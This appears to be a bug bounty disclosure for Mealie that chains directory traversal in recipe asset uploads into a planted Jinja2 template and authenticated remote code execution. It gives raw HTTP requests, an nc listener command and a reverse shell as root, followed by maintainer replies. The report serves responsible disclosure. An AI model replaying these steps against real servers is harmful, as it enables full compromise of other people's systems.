Arbitrary template creation leading to Authenticated Remote Code Execution in hay-kot/mealie
Reported on
Jun 28th 2022
Description
Arbitrary File Write
Reproduction Steps:
- As a low privileged user, Create a new recipe and click on the "+" to add a New Asset.
- Select a file, then proxy the request that will create the asset.
- Update the values in the POST request to the ones shown below:
POST /api/recipes/bruno-s-recipe/assets HTTP/1.1
Host: localhost:9091
Content-Length: 742
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
Authorization: Bearer CHANGEME
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryn8YeOw58f3yZd2Am
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost:9091
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9091/recipe/bruno-s-recipe
Accept-Encoding: gzip, deflate
Cookie: auth.strategy=local; i18n_redirected=en-US; auth._token.local=CHANGEME; auth._token_expiration.local=1656569483000
Connection: close
NOTE: Since I was running Mealie v1.0.0beta-3 with docker-compose my IP address in the payload above is 172.10.0.1. If you are running Mealie in a different way then you would have to change that IP address to your IP address e.g. eth0 interface.
- Since
mealie/routes/recipe/recipe_crud_routes.py:306
is callingslugify
on thename
POST parameter, we use$
whichslugify()
will remove completely. - Since
mealie/routes/recipe/recipe_crud_routes.py:306
is concatenating raw user input from theextension
POST parameter into the variablefile_name
, which ultimately gets used when writing to disk, we can use a directory traversal attack in the extension (e.g. ./../../../tmp/pwn.txt) to write the file to arbitrary location on the server.
As an attacker, now that we have a strong attack primitive, we can start getting creative to get RCE. Since the files were being created by root, we could add an entry to /etc/passwd, create a crontab, etc. but since there was templating functionality in the application that peaked my interest. The PoC in the HTTP request above creates a Jinja2 template at /app/data/template/pwn.html
. Since Jinja2 templates execute Python code when rendered, all we have to do now to get code execution is render the malicious template. This was easy enough.
Code Execution via Template Rendering
Reproduction Steps:
- Create an API key for your low privilege user.
- Start a nc listener with
nc -lvnp 53
. - Make an API call to
/api/recipes/{slug}/exports?template_name=evil_template.html
PoC:
GET /api/recipes/recipe-2/exports?template_name=pwn.html HTTP/1.1
Host: localhost:9091
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
accept: */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9091/docs
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Authorization: Bearer CHANGEME
Cookie: auth.strategy=local; i18n_redirected=en-US; auth._token.local=Bearer CHANGEME; auth._token_expiration.local=1656569483000
Connection: close
- If everything was done correctly, you will receive a connection to your listener and have a reverse shell. You now have remote access as root to the server running Mealie.
Impact
An attacker who is able to execute such a flaw is able to execute commands with the privileges of the programming language or the web server. In this case, since the attacker is root in a Docker container they can execute system commands, read/modify databases, attack adjacent systems. This flaw leads to a complete compromise of the system.
SECURITY.md
exists
a year ago
Furthermore, we are happy to donate the bounty to the maintainer. Before we can do this, we need the maintainer to establish a fix for the report and elect themselves as the "fixer". We will then be able to do this for you ♥️
@0xbruno - I would recommend getting in touch with the maintainer yourself and sharing the URL for this report with them 👍
This is some evil shit A+
Will work on a fix this weekend. Thanks for reporting and sorry for the delay.
Evil shit indeed and no worries! I'll be happy to re-test to validate the remediation.